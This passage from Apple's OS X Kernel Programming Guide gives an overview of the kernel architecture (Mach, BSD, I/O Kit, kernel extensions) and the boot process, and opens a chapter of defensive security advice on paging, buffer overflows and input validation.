Paging 25 Buffer Overflows and Invalid Input 26 User Credentials 27 Basic User Credentials 28 Access Control Lists 29 Remote Authentication 29 One-Time Pads 30 Time-based authentication 30 Temporary Files 31 /dev/mem and /dev/kmem 31 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 2Key-based Authentication and Encryption 32 Public Key Weaknesses 33 Using Public Keys for Message Exchange 35 Using Public Keys for Identity Verification 35 Using Public Keys for Data Integrity Checking 35 Encryption Summary 36 Console Debugging 36 Code Passing 37 Performance Considerations 39 Interrupt Latency 39 Locking Bottlenecks 40 Working With Highly Contended Locks 40 Reducing Contention by Decreasing Granularity 41 Code Profiling 42 Using Counters for Code Profiling 42 Lock Profiling 43 Kernel Programming Style 45 C++ Naming Conventions 45 Basic Conventions 45 Additional Guidelines 46 Standard C Naming Conventions 47 Commonly Used Functions 48 Performance and Stability Tips 50 Performance and Stability Tips 50 Stability Tips 52 Style Summary 52 Mach Overview 53 Mach Kernel Abstractions 53 Tasks and Threads 54 Ports, Port Rights, Port Sets, and Port Namespaces 55 Memory Management 57 Interprocess Communication (IPC) 58 IPC Transactions and Event Dispatching 59 Message Queues 59 Semaphores 59 Notifications 60 Locks 60 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 3 ContentsRemote Procedure Call (RPC) Objects 60 Time Management 60 Memory and Virtual Memory 61 OS X VM Overview 61 Memory Maps Explained 63 Named Entries 64 Universal Page Lists (UPLs) 65 Using Mach Memory Maps 66 Other VM and VM-Related Subsystems 68 Pagers 68 Working Set Detection Subsystem 69 VM Shared Memory Server Subsystem 69 Address Spaces 70 Background Info on PCI Address Translation 70 IOMemoryDescriptor Changes 71 VM System and pmap Changes: 72 Kernel Dependency Changes 72 Summary 72 Allocating Memory in the Kernel 73 Allocating Memory From a Non-I/O-Kit Kernel Extension 73 Allocating Memory From the I/O Kit 74 Allocating Memory In the Kernel Itself 75 Mach Scheduling and Thread Interfaces 77 Overview of Scheduling 77 Why Did My Thread Priority Change? 78 Using Mach Scheduling From User Applications 79 Using the pthreads API to Influence Scheduling 79 Using the Mach Thread API to Influence Scheduling 80 Using the Mach Task API to Influence Scheduling 83 Kernel Thread APIs 85 Creating and Destroying Kernel Threads 85 SPL and Friends 86 Wait Queues and Wait Primitives 87 Bootstrap Contexts 91 How Contexts Affect Users 92 How Contexts Affect Developers 93 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 4 ContentsI/O Kit Overview 94 Redesigning the I/O Model 94 I/O Kit Architecture 96 Families 96 Drivers 97 Nubs 97 Connection Example 98 For More Information 100 BSD Overview 101 BSD Facilities 102 Differences between OS X and BSD 103 For Further Reading 104 File Systems Overview 106 Working With the File System 106 VFS Transition 107 Network Architecture 108 Boundary Crossings 109 Security Considerations 110 Choosing a Boundary Crossing Method 110 Kernel Subsystems 111 Bandwidth and Latency 111 Mach Messaging and Mach Interprocess Communication (IPC) 112 Using Well-Defined Ports 113 Remote Procedure Calls (RPC) 113 Calling RPC From User Applications 116 BSD syscall API 116 BSD ioctl API 116 BSD sysctl API 117 General Information on Adding a sysctl 118 Adding a sysctl Procedure Call 118 Registering a New Top Level sysctl 121 Adding a Simple sysctl 122 Calling a sysctl From User Space 123 Memory Mapping and Block Copying 125 Summary 127 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 5 ContentsSynchronization Primitives 128 Semaphores 128 Condition Variables 130 Locks 132 Spinlocks 132 Mutexes 134 Read-Write Locks 136 Spin/Sleep Locks 138 Using Lock Functions 139 Miscellaneous Kernel Services 142 Using Kernel Time Abstractions 142 Obtaining Time Information 142 Event and Timer Waits 143 Handling Version Dependencies 145 Boot Option Handling 146 Queues 147 Installing Shutdown Hooks 148 Kernel Extension Overview 150 Implementation of a Kernel Extension (KEXT) 151 Kernel Extension Dependencies 151 Building and Testing Your Extension 152 Debugging Your KEXT 153 Installed KEXTs 154 Building and Debugging Kernels 155 Adding New Files or Modules 155 Modifying the Configuration Files 155 Modifying the Source Code Files 157 Building Your First Kernel 158 Building an Alternate Kernel Configuration 160 When Things Go Wrong: Debugging the Kernel 161 Setting Debug Flags in Open Firmware 161 Avoiding Watchdog Timer Problems 163 Choosing a Debugger 164 Using gdb for Kernel Debugging 164 Using ddb for Kernel Debugging 169 Bibliography 175 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 6 ContentsApple OS X Publications 175 General UNIX and Open Source Resources 175 BSD and UNIX Internals 176 Mach 177 Networking 178 Operating Systems 179 POSIX 179 Programming 179 Websites and Online Resources 180 Security and Cryptography 181 Document Revision History 182 Glossary 184 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 7 ContentsFigures, Tables, and Listings Kernel Architecture Overview 14 Figure 3-1 OS X architecture 14 Figure 3-2 Darwin and OS X 15 Figure 3-3 OS X kernel architecture 16 Kernel Programming Style 45 Table 7-1 Commonly used C functions 49 Mach Scheduling and Thread Interfaces 77 Table 10-1 Thread priority bands 77 Table 10-2 Thread policies 81 Table 10-3 Task roles 83 I/O Kit Overview 94 Figure 12-1 I/O Kit architecture 98 Synchronization Primitives 128 Listing 17-1 Allocating lock attributes and groups (lifted liberally from kern_time.c) 139 Building and Debugging Kernels 155 Table 20-1 Debugging flags 163 Table 20-2 Switch options in ddb 171 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 8The purpose of this document is to provide fundamental high-level information about the OS X core operating-system architecture. It also provides background for system programmers and developers of device drivers, file systems, and network extensions. In addition, it goes into detail about topics of interest to kernel programmers as a whole. This is not a document on drivers. It covers device drivers at a high level only. It does, however, cover some areas of interest to driver writers, such as crossing the user-kernel boundary. If you are writing device drivers, you should primarily read the document I/O Kit Fundamentals, but you may still find this document helpful as background reading. Who Should Read This Document This document has a wide and diverse audience—specifically, the set of potential system software developers for OS X, including the following sorts of developers: ● device-driver writers ● network-extension writers ● file-system writers ● developers of software that modifies file system data on-the-fly ● system programmers familiar with BSD, Linux, and similar operating systems ● developers who want to learn about kernel programming If you fall into one of these categories, you may find this document helpful. It is important to stress the care needed when writing code that resides in the kernel, however, as noted in “Keep Out” (page 13). Road Map The goal of this document is to describe the various major components of OS X at a conceptual level, then provide more detailed programming information for developers working in each major area. It is divided into several parts. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 9 About This DocumentThe first part is a kernel programming overview, which discusses programming guidelines that apply to all aspects of kernel programming. This includes issues such as security, SMP safety, style, performance, and the OS X kernel architecture as a whole. This part contains the chapters “Keep Out” (page 13), “Kernel Architecture Overview” (page 14), “The Early Boot Process” (page 21), “Security Considerations” (page 24), “Performance Considerations” (page 39), and “Kernel Programming Style” (page 45). The next part describes Mach and the bootstrap task, including information about IPC, bootstrap contexts, ports and port rights, and so on. This includes the chapters “Mach Overview” (page 53), “Memory and Virtual Memory” (page 61), “Mach Scheduling and Thread Interfaces” (page 77), and “Bootstrap Contexts” (page 91). The third part describes the I/O Kit and BSD. The I/O Kit is described at only a high level, since it is primarily of interest to driver developers. The BSD subsystem is covered in more detail, including descriptions of BSD networking and file systems. This includes the chapters “I/O Kit Overview” (page 94), “BSD Overview” (page 101), “File Systems Overview” (page 106), and “Network Architecture” (page 108). The fourth part describes kernelservices, including boundary crossings,synchronization, queues, clocks, timers, shutdown hooks, and boot option handling. This includes the chapters “Boundary Crossings” (page 109), “Synchronization Primitives” (page 128), and “Miscellaneous Kernel Services” (page 142). The fifth part explains how to build and debug the kernel and kernel extensions. This includes the chapters “Kernel Extension Overview” (page 150) and “Building and Debugging Kernels” (page 155). Each part begins with an overview chapter or chapters, followed by chapters that address particular areas of interest. The document ends with a glossary of terms used throughout the preceding chapters as well as a bibliography which provides numerous pointers to other reference materials. Glossary terms are highlighted in bold when first used. While most terms are defined when they first appear, the definitions are all in the glossary for convenience. If a term seems familiar, it probably means what you think it does. If it’s unfamiliar, check the glossary. In any case, all readers may want to skim through the glossary, in case there are subtle differences between OS X usage and that of other operating systems. The goal of this document is very broad, providing a firm grounding in the fundamentals of OS X kernel programming for developers from many backgrounds. Due to the complex nature of kernel programming and limitations on the length of this document, however, it is not always possible to provide introductory material for developers who do not have at least some background in their area of interest. It is also not possible to cover every detail of certain parts of the kernel. If you run into problems, you should join the appropriate Darwin discussion list and ask questions. You can find the lists at http://www.lists.apple.com/. For this reason, the bibliography contains high-level references that should help familiarize you with some of the basic concepts that you need to understand fully the material in this document. About This Document Road Map 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 10This document is, to a degree, a reference document. The introductory sections should be easily read, and we recommend that you do so in order to gain a general understanding of each topic. Likewise, the first part of each chapter, and in many cases, of sections within chapters, will be tailored to providing a general understanding of individual topics. However, you should not plan to read this document cover to cover, but rather, take note of topics of interest so that you can refer back to them when the need arises. Other Apple Publications This document, Kernel Programming , is part of the Apple Reference Library. Be sure to read the first document in the series, Mac Technology Overview, if you are not familiar with OS X. You can obtain other documents from the Apple Developer Documentation website at http://developer.apple.com/documentation. Mach API Reference If you plan to do extensive work inside the OS X kernel, you may find it convenient to have a complete Mach API reference, since this document only documents the most common and useful portions of the Mach API. In order to better understand certain interfaces, it may also be helpful to study the implementations that led up to those used in OS X, particularly to fill in gaps in understanding of the fundamental principles of the implementation. OS X is based on the Mach 3.0 microkernel, designed by Carnegie Mellon University, and later adapted to the Power Macintosh by Apple and the Open Software Foundation Research Institute (now part of Silicomp). This was known as osfmk, and was part of MkLinux (http://www.mklinux.org). Later, this and code from OSF’s commercial development efforts were incorporated into Darwin’s kernel. Throughout this evolutionary process, the Mach APIs used in OS X diverged in many ways from the original CMU Mach 3 APIs. You may find older versions of the Mach source code interesting, both to satisfy historical curiosity and to avoid remaking mistakes made in earlier implementations. MkLinux maintains an active CVS repository with their recent versions of Mach kernel source code. Older versions can be obtained through various Internet sites. You can also find CMU Mach white papers by searching for Mach on the CMU computer science department’s website (http://www.cs.cmu.edu), along with various source code samples. Up-to-date versions of the Mach 3 APIsthat OS X provides are described in the Mach API reference in the kernel sources. The kernel sources can be found in the xnu project on http://kernel.macosforge.org/. About This Document Other Apple Publications 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 11Information on the Web Apple maintains several websites where developers can go for general and technical information on OS X. ● Apple Developer Connection: Developer Documentation (http://developer.apple.com/documentation). Features the same documentation that is installed on OS X, except that often the documentation is more up-to-date. Also includes legacy documentation. ● Apple Developer Connection: OS X (http://developer.apple.com/devcenter/mac/). Offers SDKs, release notes, product notes and news, and other resources and information related to OS X. ● AppleCare Tech Info Library (http://www.apple.com/support/). Contains technical articles, tutorials, FAQs, technical notes, and other information. About This Document Information on the Web 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 12This document assumes a broad general understanding of kernel programming concepts. There are many good introductory operating systems texts. This is not one of them. For more information on basic operating systems programming, you should consider the texts mentioned in the bibliography at the end of this document. Many developers are justifiably cautious about programming in the kernel. A decision to program in the kernel is not to be taken lightly. Kernel programmers have a responsibility to users that greatly surpasses that of programmers who write user programs. Why You Should Avoid Programming in the Kernel Kernel code must be nearly perfect. A bug in the kernel could cause random crashes, data corruption, or even render the operating system inoperable. It is even possible for certain errant operations to cause permanent and irreparable damage to hardware, for example, by disabling the cooling fan and running the CPU full tilt. Kernel programming is a black art that should be avoided if at all possible. Fortunately, kernel programming is usually unnecessary. You can write most software entirely in user space. Even most device drivers (FireWire and USB, for example) can be written as applications, rather than as kernel code. A few low-level drivers must be resident in the kernel's address space, however, and this document might be marginally useful if you are writing drivers that fall into this category. Despite parts of this document being useful in driver writing, this is not a document about writing drivers. In OS X, you write device drivers using the I/O Kit. While this document covers the I/O Kit at a conceptual level, the details of I/O Kit programming are beyond the scope of this document. Driver writers are encouraged to read I/O Kit Fundamentals for detailed information about the I/O Kit. This document covers most aspects of kernel programmingwith the exception of device drivers. Covered topics include scheduling, virtual memory pagers and policies, Mach IPC, file systems, networking protocol stacks, process and thread management, kernel security, synchronization, and a number of more esoteric topics. To summarize, kernel programming is an immense responsibility. You must be exceptionally careful to ensure that your code does not cause the system to crash, does not provide any unauthorized user accessto someone else’s files or memory, does not introduce remote or local root exploits, and does not cause inadvertent data loss or corruption. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 13 Keep OutOS X provides many benefits to the Macintosh user and developer communities. These benefits include improved reliability and performance, enhanced networking features, an object-based system programming interface, and increased support for industry standards. In creatingOS X, Apple has completely re-engineered the MacOS core operating system. Forming the foundation of OS X is the kernel. Figure 3-1 (page 14) illustrates the OS X architecture. Figure 3-1 OS X architecture Carbon Cocoa BSD Java (JDK) Classic BSD Core Services Kernel environment Application Services QuickTime Application environment The kernel provides many enhancements for OS X. These include preemption, memory protection, enhanced performance, improved networking facilities, support for both Macintosh (Extended and Standard) and non-Macintosh (UFS, ISO 9660, and so on) file systems, object-oriented APIs, and more. Two of these features, preemption and memory protection, lead to a more robust environment. In Mac OS 9, applications cooperate to share processor time. Similarly, all applications share the memory of the computer among them. Mac OS 9 is a cooperative multitasking environment. The responsiveness of all processes is compromised if even a single application doesn’t cooperate. On the other hand, real-time applications such as multimedia need to be assured of predictable, time-critical, behavior. In contrast, OS X is a preemptive multitasking environment. In OS X, the kernel provides enforcement of cooperation,scheduling processesto share time (preemption). Thissupportsreal-time behavior in applications that require it. In OS X, processes do not normally share memory. Instead, the kernel assigns each process its own address space, controlling access to these address spaces. This control ensures that no application can inadvertently access or modify another application’s memory (protection). Size is not an issue; with the virtual memory system included in OS X, each application has access to its own 4 GB address space. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 14 Kernel Architecture OverviewViewed together, all applications are said to run in user space, but this does not imply that they share memory. User space is simply a term for the combined address spaces of all user-level applications. The kernel itself has its own address space, called kernel space. In OS X, no application can directly modify the memory of the system software (the kernel). Although user processes do not share memory by default as in Mac OS 9, communication (and even memory sharing) between applications is still possible. For example, the kernel offers a rich set of primitives to permit some sharing of information among processes. These primitives include shared libraries, frameworks, and POSIX shared memory. Mach messaging provides another approach, handing memory from one process to another. Unlike Mac OS 9, however, memory sharing cannot occur without explicit action by the programmer. Darwin The OS X kernel is an Open Source project. The kernel, along with other core parts of OS X are collectively referred to as Darwin. Darwin is a complete operating system based on many of the same technologies that underlie OS X. However, Darwin does not include Apple’s proprietary graphics or applications layers, such as Quartz, QuickTime, Cocoa, Carbon, or OpenGL. Figure 3-2 (page 15) shows the relationship between Darwin and OS X. Both build upon the same kernel, but OS X adds Core Services, Application Services and QuickTime, as well as the Classic, Carbon, Cocoa, and Java (JDK) application environments. Both Darwin and OS X include the BSD command-line application environment; however, in OS X, use of environment is not required, and thus it is hidden from the user unless they choose to access it. Figure 3-2 Darwin and OS X Carbon Cocoa BSD Java (JDK) Classic BSD Core Services Kernel environment Application Services QuickTime Application environment Darwin technology is based on BSD, Mach 3.0, and Apple technologies. Best of all, Darwin technology is Open Source technology, which meansthat developers have full accessto the source code. In effect, OS X third-party developers can be part of the Darwin core system software development team. Developers can also see how Apple is doing thingsin the core operating system and adopt (or adapt) code to use within their own products. Refer to the Apple Public Source License (APSL) for details. Kernel Architecture Overview Darwin 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 15Because the same software forms the core of both OS X and Darwin, developers can create low-level software that runs on both OS X and Darwin with few, if any, changes. The only difference is likely to be in the way the software interacts with the application environment. Darwin is based on proven technology from many sources. A large portion of this technology is derived from FreeBSD, a version of 4.4BSD that offers advanced networking, performance,security, and compatibility features. Other parts of the system software, such as Mach, are based on technology previously used in Apple’s MkLinux project, in OS X Server, and in technology acquired from NeXT. Much of the code is platform-independent. All of the core operating-system code is available in source form. The core technologies have been chosen for several reasons. Mach provides a clean set of abstractions for dealing with memory management, interprocess(and interprocessor) communication (IPC), and other low-level operating-system functions. In today’s rapidly changing hardware environment, this provides a useful layer of insulation between the operating system and the underlying hardware. BSD is a carefully engineered, mature operating system with many capabilities. In fact, most of today’s commercial UNIX and UNIX-like operating systems contain a great deal of BSD code. BSD also provides a set of industry-standard APIs. New technologies,such asthe I/OKit and Network Kernel Extensions(NKEs), have been designed and engineered by Apple to take advantage of advanced capabilities,such asthose provided by an object-oriented programming model. OS X combines these new technologies with time-tested industry standards to create an operating system that is stable, reliable, flexible, and extensible. Architecture The foundation layer of Darwin and OS X is composed of several architectural components, as shown in Figure 3-3 (page 16). Taken together, these components form the kernel environment. Figure 3-3 OS X kernel architecture Common services Kernel environment Application environments Mach File system BSD Networking NKE Drivers I/O Kit Kernel Architecture Overview Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 16Important: Note that OS X uses the term kernel somewhat differently than you might expect. “A kernel, in traditional operating-system terminology, is a small nucleus of software that provides only the minimal facilities necessary for implementing additional operating-system services.” — from The Design and Implementation of the 4.4 BSD Operating System, McKusick, Bostic, Karels, and Quarterman, 1996. Similarly, in traditional Mach-based operating systems, the kernel refers to the Mach microkernel and ignores additional low-level code without which Mach does very little. In OS X, however, the kernel environment contains much more than the Mach kernel itself. The OS X kernel environment includes the Mach kernel, BSD, the I/O Kit, file systems, and networking components. These are often referred to collectively as the kernel. Each of these components is described briefly in the following sections. For further details, refer to the specific component chapters or to the reference material listed in the bibliography. Because OS X contains three basic components (Mach, BSD, and the I/O Kit), there are also frequently as many as three APIs for certain key operations. In general, the API chosen should match the part of the kernel where it is being used, which in turn is dictated by what your code is attempting to do. The remainder of this chapter describes Mach, BSD, and the I/O Kit and outlines the functionality that is provided by those components. Mach Mach manages processor resources such as CPU usage and memory, handles scheduling, provides memory protection, and provides a messaging-centered infrastructure to the rest of the operating-system layers. The Mach component provides ● untyped interprocess communication (IPC) ● remote procedure calls (RPC) ● scheduler support for symmetric multiprocessing (SMP) ● support for real-time services ● virtual memory support ● support for pagers ● modular architecture General information about Mach may be found in the chapter “Mach Overview” (page 53). Information about scheduling can be found in the chapter “Mach Scheduling and Thread Interfaces” (page 77). Information about the VM system can be found in “Memory and Virtual Memory” (page 61). Kernel Architecture Overview Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 17BSD Above the Mach layer, the BSD layer provides “OS personality” APIs and services. The BSD layer is based on the BSD kernel, primarily FreeBSD. The BSD component provides ● file systems ● networking (except for the hardware device level) ● UNIX security model ● syscall support ● the BSD process model, including process IDs and signals ● FreeBSD kernel APIs ● many of the POSIX APIs ● kernel support for pthreads (POSIX threads) The BSD component is described in more detail in the chapter “BSD Overview” (page 101). Networking OS X networking takes advantage of BSD’s advanced networking capabilities to provide support for modern features, such as Network Address Translation (NAT) and firewalls. The networking component provides ● 4.4BSD TCP/IP stack and socket APIs ● support for both IP and DDP (AppleTalk transport) ● multihoming ● routing ● multicast support ● server tuning ● packet filtering ● Mac OS Classic support (through filters) More information about networking may be found in the chapter “Network Architecture” (page 108). Kernel Architecture Overview Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 18File Systems OS X providessupport for numeroustypes of file systems, including HFS, HFS+, UFS, NFS, ISO 9660, and others. The default file-system type is HFS+; OS X boots (and “roots”) from HFS+, UFS, ISO, NFS, and UDF. Advanced features of OS X file systems include an enhanced Virtual File System (VFS) design. VFS provides for a layered architecture (file systems are stackable). The file system component provides ● UTF-8 (Unicode) support ● increased performance over previous versions of Mac OS. More information may be found in the chapter “File Systems Overview” (page 106). I/O Kit The I/O Kit provides a framework forsimplified driver development,supporting many categories of devices.The I/O Kit features an object-oriented I/O architecture implemented in a restricted subset of C++. The I/O Kit framework is both modular and extensible. The I/O Kit component provides ● true plug and play ● dynamic device management ● dynamic (“on-demand”) loading of drivers ● power management for desktop systems as well as portables ● multiprocessor capabilities The I/O Kit is described in greater detail in the chapter “I/O Kit Overview” (page 94). Kernel Extensions OS X provides a kernel extension mechanism as a means of allowing dynamic loading of pieces of code into kernel space, without the need to recompile. These pieces of code are known generically as plug-ins or, in the OS X kernel environment, as kernel extensions or KEXTs. Because KEXTs provide both modularity and dynamic loadability, they are a natural choice for any relatively self-contained service that requires access to interfaces that are not exported to user space. Many of the components of the kernel environment support this extension mechanism, though they do so in different ways. For example, some of the new networking features involve the use of network kernel extensions (NKEs). These are discussed in the chapter “Network Architecture” (page 108). Kernel Architecture Overview Kernel Extensions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 19The ability to dynamically add a new file-system implementation is based on VFS KEXTs. Device drivers and device familiesin the I/O Kit are implemented using KEXTs. KEXTs make development much easier for developers writing drivers or those writing code to support a new volume format or networking protocol. KEXTs are discussed in more detail in the chapter “Kernel Extension Overview” (page 150). Kernel Architecture Overview Kernel Extensions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 20Boot ROM When the power to a Macintosh computer is turned on, the BootROM firmware is activated. BootROM (which is part of the computer’s hardware) hastwo primary responsibilities: it initializessystem hardware and itselects an operating system to run. BootROM has two components to help it carry out these functions: ● POST (Power-On Self Test) initializes some hardware interfaces and verifies that sufficient memory is available and in a good state. ● EFI does basic hardware initialization and selects which operating system to use. If multiple installations of OS X are available, BootROM chooses the one that was last selected by the Startup Disk System Preference. The user can override this choice by holding down the Option key while the computer boots, which causes EFI to display a screen for choosing the boot volume. The Boot Loader Once BootROM is finished and an OS X partition has been selected, control passes to the boot.efi boot loader. The principal job of this boot loader is to load the kernel environment. As it does this, the boot loader draws the “booting” image on the screen. If full-disk encryption is enabled, the boot loader is responsible for drawing the login UI and prompting for the user’s password, which needed to accessthe encrypted disk to boot from it. (This UI is drawn by loginwindow otherwise.) In the simplest case, the boot loader can be found in the /System/Library/CoreServices directory on the root partition, in a file named boot.efi. Note: Booting from a UFS volume is deprecated as of OS X v10.5. In order to speed up boot time, the boot loader uses several caches. The contents and location of these caches varies between versions of OS X, but knowing some details about the caching may be helpful when debugging kernel extensions. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 21 The Early Boot ProcessAfter you install or modify a kernel extension, touch the /System/Library/Extensions directory; the system rebuilds the caches automatically. Important: You should not depend on the implementation details of the kernel caches in your software. In OS X v10.7, the boot loader looks for the unified prelinked kernel. This cache contains all kernel extensions that may be needed to boot a Mac with any hardware configuration, with the extensions already linked against the kernel. It islocated at /System/Library/Caches/com.apple.kext.caches/Startup/kernelcache. In OS X v10.6 and earlier, the boot loader first looks for the prelinked kernel (also called the kernel cache). This cache contains exactly the set of kernel extensions that were needed during the previous system startup, already linked against the kernel. If the prelinked kernel is missing or unusable (for example, because a hardware configuration has changed), the booter looks for the mkext cache, which contains all kernel extensions that may be needed to boot the system. Using the mkext cache is much slower because the linker must be run. On OS X v10.5 and v10.6, these caches are located in /System/Library/Caches/com.apple.kext.caches/Startup/; on previous versions of OS X, it was located at /System/Library/Caches/com.apple.kernelcaches/. Finally, if the caches cannot be used, the boot loader searches /System/Library/Extensions for drivers and other kernel extensions whose OSBundleRequired property is set to a value appropriate to the type of boot (for example, local or network boot). This process is very slow, because the Info.plist file of every kernel extension must be parsed, and then the linker must be run. For more information on how drivers are loaded, see I/O Kit Fundamentals, the manual page for kextcache, and Kernel Extension Programming Topics. Rooting Once the kernel and all drivers necessary for booting are loaded, the boot loaderstartsthe kernel’sinitialization procedure. At this point, enough drivers are loaded for the kernel to find the root device. The kernel initializes the Mach and BSD data structures and then initializes the I/O Kit. The I/O Kit links the loaded drivers into the kernel, using the device tree to determine which drivers to link. Once the kernel finds the root device, it roots(*) BSD off of it. The Early Boot Process Rooting 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 22Note: As a terminology aside, the term “boot” was historically reserved for loading a bootstrap loader and kernel off of a disk or partition. In more recent years, the usage has evolved to allow a second meaning: the entire process from initial bootstrap until the OS is generally usable by an end user. In this case, the term is used according to the former meaning. As used here, the term “root” refersto mounting a partition asthe root, or top-level, filesystem. Thus, while the OS boots off of the root partition, the kernel rootsthe OS off of the partition before executing startup scripts from it. Boot≠Root is a technology that allows the system to boot from a partition other than the root partition. This is used to boot systems where the root partition is encrypted using full-disk encryption, or where the root partition islocated on a device which requires additional drivers(such as a RAID array). Boot≠Root uses a helper partition to store the files needed to boot, such as the kernel cache. For more information on how to set up the property in a filter-scheme driver,see “Developing a Filter Scheme” in Mass StorageDeviceDriver Programming Guide . The Early Boot Process Rooting 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 23Kernel-level security can mean many things, depending on what kind of kernel code you are writing. This chapter points out some common security issues at the kernel or near-kernel level and where applicable, describes ways to avoid them. These issues are covered in the following sections: ● “Security Implications of Paging” (page 25) ● “Buffer Overflows and Invalid Input” (page 26) ● “User Credentials” (page 27) ● “Remote Authentication” (page 29) ● “Temporary Files” (page 31) ● “/dev/mem and /dev/kmem” (page 31) ● “Key-based Authentication and Encryption” (page 32) ● “Console Debugging” (page 36) ● “Code Passing” (page 37) Many of these issues are also relevant for application programming, but are crucial for programmers working in the kernel. Others are special considerations that application programers might not expect or anticipate. Note: The terms cleartext and plaintext both refer to unencrypted text. These terms can generally be used interchangeably, although in some circles, the term cleartext is restricted to unencrypted transmission across a network. However, in other circles, the term plaintext (orsometimes plain text) refers to plain ASCII text (as opposed to HTML or rich text. To avoid any potential confusion, this chapter will use the term cleartext to refer to unencrypted text. In order to understand security in OS X, it is important to understand that there are two security models at work. One of these is the kernel security model, which is based on users, groups, and very basic per-user and per-group rights, which are, in turn, coupled with access control lists for increased flexibility. The other is a user-level security model, which is based on keys, keychains, groups, users, password-based authentication, and a host of other details that are beyond the scope of this document. The user level of security contains two basic features that you should be aware of as a kernel programmer: Security Server and Keychain Manager. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 24 Security ConsiderationsThe Security Server consists of a daemon and various accesslibrariesfor caching permission to do certain tasks, based upon various means of authentication, including passwords and group membership. When a program requests permission to do something, the Security Server basically says “yes” or “no,” and caches that decision so that further requestsfrom that user (forsimilar actions within a single context) do not require reauthentication for a period of time. The Keychain Manager is a daemon that provides services related to the keychain, a central repository for a user’s encryption/authentication keys. For more high level information on keys,see “Key-based Authentication and Encryption” (page 32). The details of the user-level security model use are far beyond the scope of this document. However, if you are writing an application that requires services of this nature, you should consider taking advantage of the Security Server and Keychain Manager from the user-space portion of your application, rather than attempting equivalent services in the kernel. More information about these services can be found in Apple’s Developer Documentation website at http://developer.apple.com/documentation. Security Implications of Paging Paging has long been a major problem for security-conscious programmers. If you are writing a program that does encryption, the existence of even a small portion of the cleartext of a document in a backing store could be enough to reduce the complexity of breaking that encryption by orders of magnitude. Indeed, many types of data,such as hashes, unencrypted versions ofsensitive data, and authentication tokens, should generally not be written to disk due to the potential for abuse. This raises an interesting problem. There is no good way to deal with this in user space (unless a program is running as root). However, for kernel code, it is possible to prevent pages from being written out to a backing store. This process is referred to as “wiring down” memory, and is described further in “Memory Mapping and Block Copying” (page 125). The primary purpose of wired memory is to allow DMA-based I/O. Since hardware DMA controllers generally do not understand virtual addressing, information used in I/O must be physically in memory at a particular location and must not move until the I/O operation is complete. This mechanism can also be used to prevent sensitive data from being written to a backing store. Because wired memory can never be paged out (until it is unwired), wiring large amounts of memory has drastic performance repercussions, particularly on systems with small amounts of memory. For this reason, you should take care not to wire down memory indiscriminately and only wire down memory if you have a very good reason to do so. In OS X, you can wire down memory at allocation time or afterwards. To wire memory at allocation time: ● In I/O Kit, call IOMalloc and IOFree to allocate and free wired memory. Security Considerations Security Implications of Paging 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 25● In other kernel extensions, call OSMalloc and OSFree and pass a tag type whose flags are set to OSMT_DEFAULT. ● In user space code, allocate page-sized quantities with your choice of API, and then call mlock(2) to wire them. ● Inside the kernel itself (not in kernel extensions), you can also use kmem_alloc and related functions. For more information on wired memory, see “Memory Mapping and Block Copying” (page 125). Buffer Overflows and Invalid Input Buffer overflows are one of the more common bugs in both application and kernel programming. The most common cause is failing to allocate space for the NULL character that terminates a string in C or C++. However, user input can also cause buffer overflows if fixed-size input buffers are used and appropriate care is not taken to prevent overflowing these buffers. The most obvious protection, in this case, is the best one. Either don’t use fixed-length buffers or add code to reject or truncate input that overflows the buffer. The implementation details in either case depend on the type of code you are writing. For example, if you are working with strings and truncation is acceptable, instead of using strcpy, you should use strlcpy to limit the amount of data to copy. OS X provides length-limited versions of a number of string functions, including strlcpy, strlcat, strncmp, snprintf, and vsnprintf. If truncation of data is not acceptable, you must explicitly call strlen to determine the length of the input string and return an error if it exceeds the maximum length (one less than the buffer size). Other types of invalid input can be somewhat harder to handle, however. As a general rule, you should be certain that switch statements have a default case unless you have listed every legal value for the width of the type. A common mistake is assuming that listing every possible value of an enum type provides protection. An enum is generally implemented as either a char or an int internally. A careless or malicious programmer could easily pass any value to a kernel function, including those not explicitly listed in the type, simply by using a different prototype that defines the parameter as, for example, an int. Another common mistake is to assume that you can dereference a pointer passed to your function by another function. You should always check for null pointers before dereferencing them. Starting a function with int do_something(bufptr *bp, int flags) { Security Considerations Buffer Overflows and Invalid Input 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 26char *token = bp->b_data; isthe surest way to guarantee thatsomeone else will passin a null buffer pointer, either maliciously or because of programmer error. In a user program, this is annoying. In a file system, it is devastating. Security is particularly important for kernel code that draws input from a network. Assumptions about packet size are frequently the cause of security problems. Always watch for packets that are too big and handle them in a reasonable way. Likewise, always verify checksums on packets. This can help you determine if a packet was modified, damaged, or truncated in transit, though it is far from foolproof. If the validity of data from a network is of vital importance, you should use remote authentication, signing, and encryption mechanisms such as those described in “Remote Authentication” (page 29) and “Key-based Authentication and Encryption” (page 32). User Credentials As described in the introduction to this chapter, OS X has two different means of authenticating users. The user-levelsecurity model (including the Keychain Manager and the Security Server) is beyond the scope of this document. The kernel security model, however, is of greater interest to kernel developers, and is much more straightforward than the user-level model. The kernel security model is based on two mechanisms: basic user credentials and ACL 